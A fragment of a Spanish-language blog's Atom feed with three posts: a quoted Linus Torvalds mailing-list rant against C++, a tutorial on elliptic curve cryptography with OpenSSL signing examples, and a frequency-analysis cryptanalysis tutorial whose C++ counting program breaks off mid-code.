src='//lh5.googleusercontent.com/-1QwcM6gjGYg/AAAAAAAAAAI/AAAAAAAAEkc/V2Z0ynWpHSA/s512-c/photo.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5064908217201828351.post-5025909287610403253</id><published>2007-09-24T10:15:00.000-07:00</published><updated>2008-12-04T01:28:25.701-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Noticias'/><title type='text'>Linus Torvalds y C++</title><content type='html'>Sorprendente la perla que nos deja Linus en referencia al lenguaje C++. No tiene desperdicio.&lt;br /&gt;&lt;br /&gt;Dejo aquí una copia (el enlace &lt;a href="http://thread.gmane.org/gmane.comp.version-control.git/57643/focus=57918"&gt;aquí)&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;On Wed, 5 Sep 2007, Dmitry Kakurin wrote:&lt;br /&gt;#&lt;br /&gt;# When I first looked at Git source code two things struck me as odd:&lt;br /&gt;# 1. Pure C as opposed to C++. No idea why. Please don't talk about portability,&lt;br /&gt;# it's BS.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;*YOU*&lt;/b&gt; are full of bullshit.&lt;br /&gt;&lt;br /&gt;C++ is a horrible language. It's made more horrible by the fact that a lot&lt;br /&gt;of substandard programmers use it, to the point where it's much much&lt;br /&gt;easier to generate total and utter crap with it. Quite frankly, even if&lt;br /&gt;the choice of C were to do &lt;b&gt;*nothing*&lt;/b&gt; but keep the C++ programmers out,&lt;br /&gt;that in itself would be a huge reason to use C.&lt;br /&gt;&lt;br /&gt;In other words: the choice of C is the only sane choice. I know Miles&lt;br /&gt;Bader jokingly said "to piss you off", but it's actually true. I've come&lt;br /&gt;to the conclusion that any programmer that would prefer the project to be&lt;br /&gt;in C++ over C is likely a programmer that I really &lt;b&gt;*would*&lt;/b&gt; prefer to piss&lt;br /&gt;off, so that he doesn't come and screw up any project I'm involved with.&lt;br /&gt;&lt;br /&gt;C++ leads to really really bad design choices. You invariably start using&lt;br /&gt;the "nice" library features of the language like STL and Boost and other&lt;br /&gt;total and utter crap, that may "help" you program, but causes:&lt;br /&gt;&lt;br /&gt;- infinite amounts of pain when they don't work (and anybody who tells me&lt;br /&gt;that STL and especially Boost are stable and portable is just so full&lt;br /&gt;of BS that it's not even funny)&lt;br /&gt;&lt;br /&gt;- inefficient abstracted programming models where two years down the road&lt;br /&gt;you notice that some abstraction wasn't very efficient, but now all&lt;br /&gt;your code depends on all the nice object models around it, and you&lt;br /&gt;cannot fix it without rewriting your app.&lt;br /&gt;&lt;br /&gt;In other words, the only way to do good, efficient, and system-level and&lt;br /&gt;portable C++ ends up to limit yourself to all the things that are&lt;br /&gt;basically available in C. And limiting your project to C means that people&lt;br /&gt;don't screw that up, and also means that you get a lot of programmers that&lt;br /&gt;do actually understand low-level issues and don't screw things up with any&lt;br /&gt;idiotic "object model" crap.&lt;br /&gt;&lt;br /&gt;So I'm sorry, but for something like git, where efficiency was a primary&lt;br /&gt;objective, the "advantages" of C++ is just a huge mistake. The fact that&lt;br /&gt;we also piss off people who cannot see that is just a big additional&lt;br /&gt;advantage.&lt;br /&gt;&lt;br /&gt;If you want a VCS that is written in C++, go play with Monotone. Really.&lt;br /&gt;They use a "real database". They use "nice object-oriented libraries".&lt;br /&gt;They use "nice C++ abstractions". And quite frankly, as a result of all&lt;br /&gt;these design decisions that sound so appealing to some CS people, the end&lt;br /&gt;result is a horrible and unmaintainable mess.&lt;br /&gt;&lt;br /&gt;But I'm sure you'd like it more than git.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt; Linus&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5064908217201828351-5025909287610403253?l=h4ck1t.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://h4ck1t.blogspot.com/feeds/5025909287610403253/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5064908217201828351&amp;postID=5025909287610403253' title='5 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5064908217201828351/posts/default/5025909287610403253'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5064908217201828351/posts/default/5025909287610403253'/><link rel='alternate' type='text/html' href='http://h4ck1t.blogspot.com/2007/09/linus-torvalds-y-c.html' title='Linus Torvalds y C++'/><author><name>Daniel Lerch</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh5.googleusercontent.com/-1QwcM6gjGYg/AAAAAAAAAAI/AAAAAAAAEkc/V2Z0ynWpHSA/s512-c/photo.jpg'/></author><thr:total>5</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5064908217201828351.post-5691839292094591594</id><published>2007-09-15T02:36:00.000-07:00</published><updated>2008-12-04T01:28:25.734-08:00</updated><title type='text'>Criptografía de Curva Elíptica</title><content type='html'>&lt;span style="font-weight: bold;"&gt;&lt;span style="font-weight: bold;"&gt;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;br /&gt;&lt;/span&gt; &lt;div style="text-align: justify;"&gt;&lt;span&gt;Las curvas elípticas son ampliamente usadas en criptografía, especialmente en &lt;a href="http://es.wikipedia.org/wiki/Criptograf%C3%ADa_asim%C3%A9trica"&gt;criptografía asimétrica&lt;/a&gt; (o de clave pública). Una de sus mayores ventajas es la velocidad que ofrece, debido a que requiere longitudes de clave mucho menores a las de criptosistemas como &lt;a href="http://es.wikipedia.org/wiki/RSA"&gt;RSA&lt;/a&gt;.&lt;/span&gt;&lt;br /&gt;&lt;/div&gt; &lt;span&gt;&lt;br /&gt;A continuación se introducen las bases de este tipo de criptografía.&lt;br /&gt;&lt;/span&gt;&lt;span style="font-weight: bold;"&gt;&lt;br /&gt;&lt;br /&gt;Qués son las curvas elípticas?&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;En criptografía se habla de curva elíptica en referencia a una ecuación y²=x³+Ax+B que cumple 4A³+27B²≠0. Dando diferentes valores a A y B obtenemos todo un conjunto de curvas que, al ser dibujadas, ofrecen una forma similar. Son ejemplos de curvas elípticas y²=x³-x (izquierda) y y²=x³-x+1 (derecha).&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://bp3.blogger.com/_q551Ajwo8ak/Ruln7p2u7hI/AAAAAAAAADs/M5o3dMwZLsY/s1600-h/EC.png"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="http://bp3.blogger.com/_q551Ajwo8ak/Ruln7p2u7hI/AAAAAAAAADs/M5o3dMwZLsY/s400/EC.png" alt="" id="BLOGGER_PHOTO_ID_5109729526773902866" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;Las curvas elípticas tienen ciertas características que las hacen especiales en el mundo de la criptografía. Una de estas características consiste en la posibilidad de poder generar un punto en una curva partiendo de dos puntos dados (o incluso de uno). Este concepto es muy fácil de entender partiendo de la figura siguiente.&lt;br /&gt;&lt;/div&gt;&lt;span style="text-decoration: underline;"&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://bp0.blogger.com/_q551Ajwo8ak/RuvyJZ2u7jI/AAAAAAAAAD8/bBA8fl98HhA/s1600-h/group_law.png"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="http://bp0.blogger.com/_q551Ajwo8ak/RuvyJZ2u7jI/AAAAAAAAAD8/bBA8fl98HhA/s400/group_law.png" alt="" id="BLOGGER_PHOTO_ID_5110444445555158578" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;div style="text-align: justify;"&gt;Usamos como puntos de partida P y Q, dos puntos conocidos. Trazaremos una linea entre P y Q. Si la linea corta la curva en un tercer punto, lo reflejaremos a través del eje, dando lugar a un nuevo punto R. Esta operación se representa como R=P+Q. En caso de que la linea que pasa por P y Q no corte a la curva en ningún otro punto, diremos que corta la curva en un punto O en el infinito y representaremos esta operación como P+Q=O.&lt;br /&gt;&lt;br /&gt;Partiendo de la suma, no es difícil encontrar un mecanismo que nos permita realizar multiplicaciones de tipo kP, siendo k un escalar. Por ejemplo, imaginemos que queremos realizar la operación 13P, es decir, multiplicar 13 por un punto P. Bastaría con realizar la siguiente secuencia de doblado de puntos:&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: center;"&gt;&lt;span style="font-weight: bold;"&gt;P, 2P=P+P, 4P=2P+2P, 8P=4P+4P, 13P=8P+4P+P&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt; Este simple mecanismo para generar nuevos puntos dota a una curva elíptica de la posibilidad de realizar operaciones aritméticas sobre ella, base de los criptosistemas que estudiaremos en breve.&lt;br /&gt;&lt;br /&gt;En criptografía las curvas elípticas se usan sobre &lt;a href="http://es.wikipedia.org/wiki/Cuerpo_finito"&gt;campos finitos&lt;/a&gt; (Fq) con q muy grande. Un ejemplo de campo finito podría ser F5={0,1,2,3,4}. De manera que el número 7 representado en el campo finito correspondería a 7 mod 5 = 2.&lt;br /&gt;Cuando se usan campos finitos el número de puntos que hay en una curva tambien es finito. Este numero se llama orden de la curva y se representa como #E. Debemos diferenciarlo del orden de un punto, que se refiere al valor k más pequeño (diferente de 0) que multiplicado por P da O.&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;El problema del logaritmo discreto (DLP)&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;La criptografía de Clave Pública basa su fuerza en la dificultad de resolver ciertos problemas matemáticos. Uno de los más usados es el problema del logaritmo discreto (Discrete Logarithm Problem - DLP). Este problema se basa en la dificultad que representa resolver una ecuación de tipo &lt;i&gt;x = a&lt;sup&gt;y&lt;/sup&gt; mod n&lt;/i&gt; donde x, a y n son conocidas e y es la variable que se busca. De hecho, para valores de n e y sufientemente grandes es computacionalmente imposible resolver el problema, al menos, con los algoritmos y ordenadores actuales.&lt;br /&gt;El algoritmo más rápido conocido para resolver este problema es el &lt;a href="http://en.wikipedia.org/wiki/Index_calculus_algorithm"&gt;Index Calculus &lt;/a&gt;que permite resolverlo en tiempo subexponencial.&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;El problema del logaritmo discreto en Curvas Elípticas (ECDLP)&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;Existe una problema similar al problema del logaritmo discreto que puede usarse con Curvas Elípticas. Anteriormente hemos visto como realizar una operación tipo Q=kP de una forma sencilla. Sin embargo, obtener k y P partiendo solo de Q es computacionalmente difícil. De hecho, el algoritmo más rápido que permite encontrar una solución es el algoritmo Rho de Pollard, pero este algorimo es de tiempo exponencial, mucho mas lento que en el caso del ataque a DLP mediante el Index Calculus.&lt;br /&gt;Este hecho es muy importante, pues la dificultad de resolver ECDLP frente a DLP permite que los criptosistemas que se basan en el primero usen claves mucho más cortas. De manera que los sistemas que usan ECDLP requieren mucha menos memoria y capacidad de proceso.&lt;br /&gt;Una clave RSA de 4096 bits ofrece la misma seguridad que una clave de un criptosistema de Curva Elíptica de 313 bits.&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Intercambio de Claves de Diffie-Hellman&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;El intercambio de claves de &lt;a href="http://es.wikipedia.org/wiki/Diffie-Hellman"&gt;Diffie-Hellman&lt;/a&gt; es un protocolo que permite un intercambio secreto y seguro de claves entre dos partes que no han tenido un contacto previo. Se usa ampliamente en criptografía y se basa en el problema del logaritmo discreto (DLP). Por lo tanto, puede usarse el mismo algoritmo a través del problema ECDLP.&lt;br /&gt;&lt;br /&gt;Al algoritmo puede resumirse en los siguientes pasos:&lt;br /&gt;&lt;br /&gt;1. Alice y Bob eligen una curva elíptica E sobre un campo finito Fq de manera que el ECDLP sea computacionalmente difícil. También eligen un punto P en dicha curva de manera que su orden sea un número primo grande.&lt;br /&gt;&lt;br /&gt;2. Alice elige un entero grande a, calcula PA=aP y envía PA a Bob.&lt;br /&gt;&lt;br /&gt;3. Bob elige un entero grande b, calcula PB=bP y envía PB a Alice.&lt;br /&gt;&lt;br /&gt;4. Alice calcula aPB=abP&lt;br /&gt;&lt;br /&gt;5. Bob calcula bPA=abP&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Al finalizar el algoritmo, tanto Alice como Bob disponen de abP. Pero un usario que escuche el canal solo habrá podido obtener PA y PB, los cuales no le permiten calcular abP a menos que resuelva el ECDLP. Alice y Bob solo tendrán que extraer una clave a partir de abP y usarla para enviar datos cifrados. Para tal propósito podrán usar cualquier algoritmo simétrico como DES, AES, etc.&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Algoritmo de firma digital (ECDSA)&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;El algoritmo de firma digital para curvas elípticas está basado en el estandar de firma digital &lt;a href="http://es.wikipedia.org/wiki/DSA"&gt;DSA&lt;/a&gt;. Este algoritmo ofrece un esquema que permite firmar documentos y verificar las firmas.&lt;br /&gt;&lt;br /&gt;Los pasos a seguir para generar claves, firmar y verificar la firma, se muestran a continuación.&lt;br /&gt;&lt;br /&gt;Alice genera un par de claves:&lt;br /&gt;&lt;br /&gt;1. Alice elige una curva E con orden #E=fr, de manera que r sea un primo grande.&lt;br /&gt;&lt;br /&gt;2. Alice busca un punto en la curva de orden r.&lt;br /&gt;&lt;br /&gt;3. Alice elige un número aleatorio d situado en el intervalor [2, r-2] y calcula Q=dP.&lt;br /&gt;&lt;br /&gt;4. La clave pública corresponde a (E,P,r,Q) y la clave privada a d.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Alice firma un documento M.&lt;br /&gt;(h(M) corresponde al &lt;a href="http://en.wikipedia.org/wiki/Hash_function"&gt;hash&lt;/a&gt; de M)&lt;br /&gt;&lt;br /&gt;1. Alice elige un número aleatorio k en el intervalo [2, r-2].&lt;br /&gt;&lt;br /&gt;2. Se calcula el punto (x, y)=kP&lt;br /&gt;&lt;br /&gt;3. R=x mod r&lt;br /&gt;&lt;br /&gt;4. s=k¯¹ (h(M) +Rd) mod r, si s es igual cero, empezamos de nuevo.&lt;br /&gt;&lt;br /&gt;5. La firma de Alice es (R,s) y se transmite junto con el mensaje M.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Bob verifica la firma de Alice.&lt;br /&gt;&lt;br /&gt;1. Bob obtiene la clave pública de Alice.&lt;br /&gt;&lt;br /&gt;2. w = s¯¹ mod r&lt;br /&gt;&lt;br /&gt;3. u1 = h(M) w mod r&lt;br /&gt;&lt;br /&gt;4. u2 = Rw mod r&lt;br /&gt;&lt;br /&gt;5. (x, y) = u1P + u2P&lt;br /&gt;&lt;br /&gt;6. v = x mod r&lt;br /&gt;&lt;br /&gt;7. Si v es igual a R, la firma es válida.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;OpenSSL: Un ejemplo práctico de firma digital mediante curvas elípticas.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;Des de la versión 0.9.8 la herramienta &lt;a href="http://www.openssl.org/"&gt;OpenSSL&lt;/a&gt; ofrece algunas opciones para trabajar con curvas elípticas. No están muy documentadas, pero nos servirán para realizar una pequeña demostración del uso de la firma digital.&lt;br /&gt;&lt;br /&gt;Para generar un clave ejecutaremos el siguiente comando:&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;$ openssl ecparam -genkey -name secp224r1 -out key.pem&lt;/pre&gt;&lt;br /&gt;Ahora tanto la clave pública como la privada se encuentran dentro de key.pem. Podemos extraer la pública con el comando:&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;$ openssl ec -in key.pem -text -pubout -out pubkey.pem&lt;/pre&gt;&lt;br /&gt;Ya disponemos de una clave con la que hacer pruebas, por lo que generaremos un mensaje que firmar:&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;$ echo "El mensaje de prueba de h4ck1t!" &amp;gt; msg.txt&lt;/pre&gt;&lt;br /&gt;Y lo firmaremos, operación que solo puede realizar el propietario de la clave privada:&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;$  openssl dgst -sign key.pem -ecdsa-with-SHA1 &amp;lt; msg.txt &amp;gt; msg.sig&lt;/pre&gt;&lt;br /&gt;Firmado el mensaje, todo usuario que disponga de la clave pública podrá verificar su procedencia:&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;$ openssl dgst -verify pubkey.pem -ecdsa-with-SHA1 -signature msg.sig &amp;lt; msg.txt&lt;br /&gt;Verified OK&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Referencias:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;- Elliptic Curves, Number Theory and Cryptography. Lawrence C. Washington. Ed Chapman &amp;amp; HALL/CRC.&lt;br /&gt;- Prime Numbers, a Computational Perspective. Richard Crandall, Carl Pomerance. Ed Springer.&lt;br /&gt;- Criptografía de curva Elíptica, Ataque Rho de Pollard.  Daniel Lerch. Hakin9 (6-2007).&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5064908217201828351-5691839292094591594?l=h4ck1t.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://h4ck1t.blogspot.com/feeds/5691839292094591594/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5064908217201828351&amp;postID=5691839292094591594' title='1 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5064908217201828351/posts/default/5691839292094591594'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5064908217201828351/posts/default/5691839292094591594'/><link rel='alternate' type='text/html' href='http://h4ck1t.blogspot.com/2007/09/criptografa-de-curva-elptica.html' title='Criptografía de Curva Elíptica'/><author><name>Daniel Lerch</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh5.googleusercontent.com/-1QwcM6gjGYg/AAAAAAAAAAI/AAAAAAAAEkc/V2Z0ynWpHSA/s512-c/photo.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://bp3.blogger.com/_q551Ajwo8ak/Ruln7p2u7hI/AAAAAAAAADs/M5o3dMwZLsY/s72-c/EC.png' height='72' width='72'/><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5064908217201828351.post-4033251179945493238</id><published>2007-09-11T12:10:00.000-07:00</published><updated>2008-12-04T01:28:25.141-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Criptoanálisis'/><title type='text'>Criptoanálisis: Análisis de frecuencias</title><content type='html'>&lt;div style="text-align: justify;"&gt;&lt;span style="font-weight: bold;"&gt;Análisis de frecuencias:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;El &lt;a href="http://es.wikipedia.org/wiki/An%C3%A1lisis_de_frecuencias"&gt;análisis de frecuencias&lt;/a&gt; es una forma de criptoanálisis utilizada en &lt;a href="http://en.wikipedia.org/wiki/Substitution_cipher"&gt;cifrados de sustitución&lt;/a&gt;, basada en el estudio de la frecuencia de aparición de las letras o símbolos de un criptograma. Este análisis se basa en el hecho de que cada lenguaje dispone de una frecuencia característica de aparición de sus letras o grupos de ellas. Por ejemplo, en inglés es común el uso de la letra E mientras que la X raramente aparece. Lo mismo ocurre en los textos en castellano, donde la E y la A son las letras más habituales.&lt;br /&gt;&lt;br /&gt;Aproximadamente la distribución de porcentajes de aparición de cada letra en algunas lenguas comunes es la siguiente:&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;L&lt;/span&gt;      &lt;span style="font-weight: bold;"&gt; Inglés           Francés         Alemán          Castellano&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-weight: bold;"&gt;a&lt;/span&gt;       8.167%          7.636%          6.51%           12.53%&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;b  &lt;/span&gt;     1.492%          0.901%          1.89%           1.42%&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;c&lt;/span&gt;       2.782%          3.260%          3.06%           4.68%&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;d  &lt;/span&gt;     4.253%          3.669%          5.08%           5.86%&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;e&lt;/span&gt;       12.702%         14.715%         17.40%          13.68%&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;f&lt;/span&gt;       2.228%          1.066%          1.66%           0.69%&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;g&lt;/span&gt;       2.015%          0.866%          3.01%           1.01%&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;h &lt;/span&gt;      6.094%          0.737%          4.76%           0.70%&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;i &lt;/span&gt;      6.966%          7.529%          7.55%           6.25%&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;j&lt;/span&gt;       0.153%          0.545%          0.27%           0.44%&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;k&lt;/span&gt;       0.772%          0.049%          1.21%           0.00%&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;l&lt;/span&gt;       4.025%          5.456%          3.44%           4.97%&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;m&lt;/span&gt;       2.406%          2.968%          2.53%           3.15%&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;n&lt;/span&gt;       6.749%          7.095%          9.78%           6.71%&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;o&lt;/span&gt;       7.507%          5.378%          2.51%           8.68%&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;p&lt;/span&gt;       1.929%          3.021%          0.79%           2.51%&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;q&lt;/span&gt;       0.095%          1.362%          0.02%           0.88%&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;r&lt;/span&gt;       5.987%          6.553%          7.00%           6.87%&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;s&lt;/span&gt;       6.327%          7.948%          7.27%           7.98%&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;t&lt;/span&gt;       9.056%          7.244%          6.15%           4.63%&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;u&lt;/span&gt;       2.758%          6.311%          4.35%           3.93%&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;v&lt;/span&gt;       0.978%          1.628%          0.67%           0.90%&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;w&lt;/span&gt;       2.360%          0.114%          1.89%           0.02%&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;x&lt;/span&gt;       0.150%          0.387%          0.03%           0.22%&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;y&lt;/span&gt;       1.974%          0.308%          0.04%           0.90%&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;z&lt;/span&gt;       0.074%          0.136%          1.13%           0.52%&lt;br /&gt;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;A parte de estudiar la frecuencia de aparición de un símbolo, también podemos fijarnos en la frecuencia de aparición de conjuntos de dos, tres, o más letras. En castellano son frecuentes cadenas de dos letras como DE, LA, EL, EN o palabras de tres como QUE, LOS, DEL, LAS y POR.&lt;br /&gt;&lt;br /&gt;A continuación se muestran los conjuntos de dos y tres letras más frecuentes:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;En Inglés&lt;/span&gt;&lt;br /&gt;Conjuntos de dos letras: TH, HE, AN, IN, ER, RE, ES, ON, EA, TI, AT, ST, EN, ND, OR, TO, NT, ED, IS, AR.&lt;br /&gt;Conjuntos de tres letras: THE, ING, AND, ION, ENT, FOR, TIO, ERE, HER, ATE, VER, TER, THA, ATI, HAT, ERS.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;En Francés:&lt;/span&gt;&lt;br /&gt;Conjuntos de dos letras: ES, EN, OU, DE, NT, TE, ON, SE, AI, IT, LE, ET, ME, ER, EM, OI, UN, QU.&lt;br /&gt;Conjuntos de tres letras: ENT, QUE, ION, LES, AIT, TIO, ANS, ONT, ANT, OUR, AIS, OUS.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;En Alemán&lt;/span&gt;&lt;br /&gt;Conjuntos de dos letras: EN, ER, CH, DE, GE, EI, IE, IN, NE, ND, BE, EL, TE, UN, ST, DI, NO, UE, SE, AU, RE, HE.&lt;br /&gt;Conjuntos de tres letras: EIN, ICH, DEN, DER, TEN, CHT, SCH, CHE, DIE, UNG, GEN, UND, NEN, DES, BEN, RCH.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;En Castellano:&lt;/span&gt;&lt;br /&gt;Conjuntos de dos letras: ES, EN, EL, DE, LA, OS, AR, UE, RA, RE, ER, AS, ON, ST, AD, AL, OR, TA, CO.&lt;br /&gt;Conjuntos de tres letras: QUE, EST, ARA, ADO, AQU, DEL, CIO, NTE, OSA, EDE, PER, IST, NEI, RES, SDE.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Al intentar romper un cifrado mediante análisis de frecuencia nuestro objetivo será identificar la frecuencia de aparición de los símbolos usados. Después buscaremos una equivalencia entre estos símbolos y las letras que más aparecen en la lengua usada intentando encontrar un significado. Nos servirán también las frecuencias de aparición de conjuntos de X letras, así como nuestra imaginación a la hora de rellenar huecos al estilo del &lt;a href="http://es.wikipedia.org/wiki/Ahorcado_%28juego%29"&gt;juego del ahorcado&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;&lt;/div&gt; &lt;div style="text-align: justify;"&gt;&lt;br /&gt;En algunos casos puede ser útil conocer el porcentaje de vocales de cada idioma. En inglés, por ejemplo, el porcentaje de vocales es del 40%, igual que en el alemán. Sin embargo, en francés es del 45% y en castellano del 47%. Estos datos, aunque solo son aproximaciones pueden resultar de gran interés en ciertos criptogramas.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Criptoanálisis de ejemplo&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Para experimentar con lo comentado anteriormente, imaginemos un sistema de &lt;a href="http://en.wikipedia.org/wiki/Substitution_cipher"&gt;cifrado por sustitución&lt;/a&gt;, de manera que cada letra del mensaje ha sido sustituída por un símbolo. El ejemplo de mensaje cifrado es el siguiente:&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;3# 16_@!5?6#=_# 2&gt; 23 #6!2 |2 2&gt;16_$_6 15% 13#72 &gt;2162!# 5 |2 /% 45|5 2%_?4#!_15&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;Para iniciar nuestro criptoanálisis, empezaremos realizando un análisis de frecuencias. Para que este proceso no se haga pesado, adjunto un sencillo programa en C++ que lo hará por nosotros.&lt;br /&gt;&lt;br /&gt;&lt;pre name="code" class="Cpp"&gt;&lt;br /&gt;#include &amp;lt;iostream&amp;gt;&lt;br /&gt;#include &amp;lt;fstream&amp;gt;&lt;br /&gt;#include &amp;lt;algorithm&amp;gt;&lt;br /&gt;#include &amp;lt;map&amp;gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;int main(int argc, char* argv[])&lt;br /&gt;{&lt;br /&gt; using namespace std;&lt;br /&gt;&lt;br /&gt; if(argc!=3)&lt;br /&gt; {&lt;br /&gt; cout &amp;lt;&amp;lt; "Usage: " &amp;lt;&amp;lt; argv[0] &amp;lt;&amp;lt; " [file] [max group size]" &amp;lt;&amp;lt; endl;&lt;br /&gt; return 0;&lt;br /&gt; }&lt;br /&gt;&lt;br /&gt; for(int i=0; i&amp;lt;atoi(argv[2]); i++)&lt;br /&gt; {&lt;br /&gt;    int c;&lt;br /&gt;    map&amp;lt;string,int&amp;gt; freq;&lt;br /&gt;    ifstream file(argv[1]);&lt;br /&gt;    string group;&lt;br /&gt;    while( (c=file.get()) &amp;&amp;amp; !file.eof() )&lt;br /&gt;    {&lt;br /&gt;       if(isspace(c))&lt;br /&gt;       continue;&lt;br /&gt;       group += string(1,c);&lt;br /&gt;&lt;br /&gt;       if(group.size()&amp;gt;=i+1)&lt;br /&gt;          freq[group.substr(group.size()-i-1, i+1)]++;&lt;br /&gt;    }&lt;br /&gt;&lt;br /&gt;    cout &amp;lt;&amp;lt; endl &amp;lt;&amp;lt; "-- FREQ SIZE " &amp;lt;&amp;lt; i+1 &amp;lt;&amp;lt; " --" &amp;lt;&amp;lt; endl;&lt;br /&gt;    int count = 0;&lt;br /&gt;    map&amp;lt;string,int&amp;gt;::iterator it = freq.begin();    &lt;br /&gt;    